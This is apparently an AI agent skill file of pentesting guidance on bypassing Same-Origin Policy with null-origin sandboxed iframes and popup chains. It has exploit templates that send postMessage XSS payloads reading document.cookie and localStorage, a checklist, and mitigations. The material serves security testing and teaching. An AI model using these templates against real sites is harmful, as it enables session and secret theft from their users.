Hacktricks-skills sop-iframe-bypass
How to exploit Same-Origin Policy (SOP) bypasses using iframes and null origins. Use this skill whenever the user mentions SOP bypass, iframe exploitation, null origin attacks, cross-origin message vulnerabilities, or needs to exploit XSS through iframe manipulation. This skill covers techniques for bypassing origin checks in postMessage handlers, exploiting sandboxed iframe behaviors, and chaining popup inheritance for origin spoofing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1/SKILL.MDSOP Bypass with Iframes
This skill covers techniques for bypassing Same-Origin Policy protections using iframe sandboxing and null origin exploitation.
Core Concepts
The Vulnerability Pattern
Many applications use
postMessage with origin checks like this:
onmessage = (e) => { const data = e.data if (e.origin !== window.origin && data.identifier !== identifier) return // ... process message }
The vulnerability exists when:
- The origin check can be bypassed (e.g., both sides become
)null - The identifier check can be satisfied or bypassed
- The message handler executes untrusted content (XSS)
Null Origin Exploitation
When a page is loaded in a sandboxed iframe without
allow-same-origin, its window.origin becomes null.
Key behaviors:
→<iframe sandbox="allow-scripts">window.origin === null- Popups opened from null-origin pages inherit the null origin (unless
is set)allow-popups-to-escape-sandbox - Two null-origin contexts can communicate via
becausepostMessagenull === null
Exploitation Techniques
Technique 1: Direct Sandbox Embedding
If the target page is embeddable (no X-Frame-Options or Content-Security-Policy restrictions):
<iframe sandbox="allow-scripts" src="https://target.com/vulnerable-page"></iframe>
The iframe's
window.origin becomes null, bypassing origin checks that compare against window.origin.
Technique 2: Popup Inheritance Chain
When direct embedding isn't possible, use a popup chain:
- Create a sandboxed iframe (origin = null)
- Open a popup from the iframe to the target page
- The popup inherits null origin
- Both contexts can now communicate via postMessage
Required sandbox flags:
- Execute JavaScriptallow-scripts
- Open popup windowsallow-popups
- Navigate the top window (if needed)allow-top-navigation
Technique 3: Identifier Extraction and Relay
When the target requires an identifier check:
- First message: Send payload to extract the identifier
- Second message: Use the identifier to send the actual exploit
- Chain through the top window if needed
Exploit Template
Basic Null Origin Exploit
<body> <script> const iframe = document.createElement("iframe") iframe.sandbox = "allow-scripts allow-popups allow-top-navigation" iframe.srcdoc = ` <script> // Open target in popup (inherits null origin) const popup = open('https://target.com/vulnerable-page'); // Send message to popup (both have null origin) setTimeout(() => { popup.postMessage({ type: 'render', body: '<img/src/onerror=alert(document.cookie)>' }, '*') }, 1000); <\/script> ` document.body.appendChild(iframe) </script> </body>
Advanced: Identifier Extraction Chain
// Step 1: Create sandboxed iframe const iframe = document.createElement("iframe") iframe.sandbox = "allow-scripts allow-popups allow-top-navigation" // Step 2: Payload that extracts identifier and relays to top const relayPayload = ` const target = opener.top; target.postMessage(1, '*'); setTimeout(() => { target.postMessage({ type: 'render', identifier: 'KNOWN_IDENTIFIER', body: '<img/src/onerror=alert(localStorage.getItem("secret"))>' }, '*'); }, 1000); `.replaceAll("\n", " ") // Step 3: Initial communication iframe.srcdoc = ` <script> const popup = open('https://target.com/vulnerable-page'); onmessage = e => top.location = 'https://target.com/vulnerable-page'; setTimeout(() => { popup.postMessage({ type: 'render', body: '<audio/src/onerror="${relayPayload}">' }, '*') }, 1000); <\/script> ` document.body.appendChild(iframe)
Detection Checklist
Before attempting exploitation, verify:
- Target page is embeddable (no X-Frame-Options: DENY/SAMEORIGIN)
- Target uses postMessage with origin checks
- Origin check compares against
window.origin - Target executes untrusted content (innerHTML, eval, etc.)
- Sandbox attributes can be controlled
Mitigation Recommendations
For defenders:
- Never trust
alone - Use explicit allowlistswindow.origin - Validate message sources - Check against known domains, not just equality
- Sanitize all content - Use DOMPurify or similar before innerHTML
- Set X-Frame-Options - Prevent embedding:
orDENYSAMEORIGIN - Use Content-Security-Policy - Restrict frame-ancestors
- Avoid identifier-based auth - Use proper authentication tokens
Common Pitfalls
- Cookies: May need
for cross-origin iframe accessSameSite=None; Secure - Popup blockers: Users may block the popup window
- CSP restrictions: frame-ancestors policy may prevent embedding
- Timing: Use setTimeout to ensure popup is ready before messaging
- Origin comparison:
is true, butnull === null
is falsenull === "https://..."
Related Techniques
- DOM Clobbering for origin manipulation
- Data URI origin exploitation
- Blob URL origin bypasses
- postMessage targetOrigin validation bypasses